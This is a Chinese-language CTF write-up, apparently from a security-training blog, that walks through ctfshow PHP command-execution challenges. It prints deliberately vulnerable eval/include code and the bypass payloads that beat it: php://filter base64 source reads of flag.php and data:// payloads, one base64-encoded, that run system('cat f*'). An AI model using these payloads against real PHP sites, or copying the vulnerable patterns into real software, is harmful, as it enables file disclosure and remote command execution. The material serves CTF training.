命令执行:PHP伪协议在命令执行中的应用

作者:Mi2ac1e

博客:tysec.top

本文收集了部分来自ctfshow web入门命令执行的题 总结一下他们的应用场景

一、PHP://filter的应用 配合POST数据完成读取

web32:

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

*分号的过滤

*(括号的过滤

直接导致我们无法在使用前面的函数进行命令执行

但是$ ? > 等关键字没有被过滤

解决上方提出的两个问题:

*使用?>来代替;

*使用include函数来进行辅助传参

*使用PHP伪协议来读取源代码。

?c=include”$_POST[1]”?>

下面的命令使用POST提交:

1=php://filter/read=convert.base64-encode/resource=flag.php

 

web65:

<?php

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

 

c=include($_GET[‘a’]);

?a=php://filter/read=convert.base64-encode/resource=flag.php

二、PHP://data协议的应用

web37

当过滤了一些关键字无法直接读取时

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
} 

?c=data://text/plain,<?php system(“cat f*”); ?> 也就是:

data://text/plain,<?php //php代码 ?>并调用函数system来实现命令执行。

web38

仍然考察data这个协议,只不过过滤代码变成了这个:

if(!preg_match("/flag|php|file/i", $c)){

过滤了PHP,由于版本较高,<? ?>无法被识别成PHP代码

那么就需要使用base64加密:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTsgPz4=

这样就可以完美绕过过滤机制..

 

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » 命令执行:PHP伪协议在命令执行中的应用

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情